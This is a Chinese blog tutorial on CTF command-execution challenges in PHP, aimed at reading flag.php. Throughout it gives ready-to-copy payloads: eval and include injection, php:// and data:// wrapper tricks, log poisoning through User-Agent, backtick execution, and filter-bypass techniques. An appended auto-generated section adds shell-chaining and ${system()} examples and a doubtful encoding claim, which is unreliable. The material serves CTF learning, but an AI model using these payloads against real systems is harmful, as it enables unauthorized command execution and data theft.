一篇文章带你进阶CTF命令执行

本文详细介绍了PHP编程中常见的安全漏洞,如代码注入利用eval()和文件包含漏洞,伪协议执行,以及如何通过各种技巧如反引号执行shell命令。通过实例演示了如何利用这些技巧绕过过滤和获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

以下的命令是为了方便以后做题时方便各位读者直接来这里复制使用,刚开始还请先看完这篇文章后才会懂得下面的命令

?c=eval($_GET[shy]);&shy=passthru('cat flag.php');      #逃逸过滤 

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php        #文件包含


?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>  #文件包含
?c=include$_GET[cmd]>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==        #文件包含

c=show_source('flag.php');​    #文件读取

?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php   #伪协议

?c=/var/log/nginx/access.log 在 User-Agent插入<?php echo system('ls');?>   #文件日志包含

?c=echo(`tac%09f*`);   #反引号

c=echo file_get_contents('flag.php');     文件读取

                                                                          正文

1.绕过cat使用:

tac more less head tac tail nl od(二进制查看) vi vim sort uniq rev

2.绕过空格用:

%09 <> ${IFS} $IFS$ {cat,fl*} %20

注:

%09  ##(Tab) %20 ##(space)

3.对flag的过滤(这里也就几个,索性就全丢出来了)

1.‘’    (例如fl‘’ag)

2.“”     (例如fl""ag)

3.?       (例如fl??)

4.*          (例如fl*)

既然是进阶,那光讲基础知识那可不行!

1.代码注入攻击(逃逸过滤)

原理就是写入参数,利用它作为中间人逃逸过滤,这是一种危害极大的漏洞

拿一道题举例:

?c=eval($_GET[shy]);&shy=passthru('cat flag.php');

在这段代码中,使用了 PHP 中的 GET 方法来获取参数值。$_GET[shy]代表获取名为"shy"的 GET 参数的值,并将其作为字符串传递给 eval() 函数进行执行。

在这个例子中,如果你通过 URL 的查询参数传递 c=eval($_GET[shy]),那么这个参数会被当做 PHP 代码执行,最终达到逃逸对c的过滤,毕竟那是过滤c的,管我shy什么事!

2.文件包含漏洞

还是上面那道题目

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php

 注:分号可以使用>? 代替,而这里又过滤了分号的

$_GET[shy]代表获取名为"shy"的 GET 参数的值,并将其作为字符串传递给 include 函数进行包含。

再通过查询参数传递 c=include%09$_GET[shy]?>,会将 GET 参数 "shy" 的值作为文件包含的路径,并执行该文件的内容。

而通过查询参数传递 shy=php://filter/read=convert.base64-encode/resource=flag.php,则将 php://filter/read=convert.base64-encode/resource=flag.php 作为 GET 参数 "shy" 的值。在这个例子中,php://filter 是 PHP 的过滤器机制,read=convert.base64-encode 表示读取文件并将其内容转换为 Base64 编码,resource=flag.php 表示要读取的文件路径是 flag.php

这段代码的目的是将 flag.php 文件的内容以 Base64 编码的形式返回给用户。

如果不能理解那就强烈推荐一篇文章《一篇文章带你入门文件上传》

一篇文章带你入门文件包含-CSDN博客

ps:如果看到了题目看到了include,就直接使用我的一篇文章带你入门文件包含-CSDN博客的指令,如果没有看到,那就使用我这篇文章上面的指令。

3.伪协议

?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php

这段代码的含义是尝试通过 PHP 的 system 函数执行通过 POST 方法传递的命令,具体命令是反向显示(逐行倒序)flag.php 文件的内容。

还有?c=data:text/plain,<?php system(‘tac f*’);?>本质是一样的

常见命令:

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==


 

4.文件读取:

c=show_source('flag.php');​ 

在 PHP 中,show_source() 是一个内置函数,用于打开并显示指定文件的源代码。该函数接受一个文件名作为参数,并将该文件的内容以文本形式进行输出。

5.文件日志包含

还是拿上面那道题目举例:

在User-Agent插入
<?php echo system('ls');?>(当然换个命令也可以,比如<?php echo system('cat flag.php');?>

?c=/var/log/nginx/access.log

就像这样

文件日志直接给你了,接下来ctrl+f可以直接搜索网页特殊字符,比如flag,接下来网页就会帮你锁定位置,是不是以为flag就直接出来了?当然没有那么简单,哈哈,这次没有flag,不过这条命令一般都是可以执行的,可以看到很多有用信息,有些题目有时甚至flag就直接出来了

6.反引号shell 命令执行

命令执行函数:passthru、shell_exec、exec等 其实这里还可以使用反引号 `

`反引号和shell_exec意思相同在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

?c=echo(`tac%09f*`);

真心希望大家在读了我的文章后能够有所获!

### CTF 比赛中的命令执行绕过技巧 在CTF竞赛中,面对命令执行漏洞时,攻击者常常遇到各种过滤机制。为了成功实施渗透测试并完成挑战,掌握不同的绕过技术至关重要。 #### 使用截断符号 当题目提供了一个可控制的部分作为参数传递给某个系统调用时,可以通过尝试不同类型的截断字符来分割原有逻辑与自定义指令之间的联系[^2]。例如,在允许用户提交IP地址供`ping`使用的场景下: ```bash 127.0.0.1; ls / ``` 这里的分号(`;`)即为一种简单的命令链结束符,使得后续任意合法shell语句得以被执行。 #### 利用环境变量和间接引用 某些情况下直接输入特殊字符可能被严格限制,此时可以考虑借助环境变量或通过其他方式引入恶意负载。比如PHP环境中存在`${}`语法支持动态解析字符串表达式,这便成为了一种潜在的突破口[^4]: ```php ${system('whoami')} ``` 上述代码片段展示了如何利用 `${}` 结构嵌入 `system()` 函数调用来获取当前用户的名称信息。 #### 替代字符集编码 如果目标应用对特定字符进行了黑名单处理,则可通过URL编码、十六进制转义序列等方式改变敏感字符的表现形式而不影响其实际意义。例如将反引号替换为其对应的HTML实体表示法(`)以规避检测: ```html `/bin/cat flag.txt` ``` 此操作最终会被解释器还原成原始形态从而触发预期行为——读取文件内容。 #### 组合多阶段载荷 考虑到单一手段未必能突破所有防护措施,组合运用前述各项策略往往能够提高成功率。先发送看似无害的数据包建立初步交互通道,再逐步注入更复杂的有效载荷直至达成目的。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值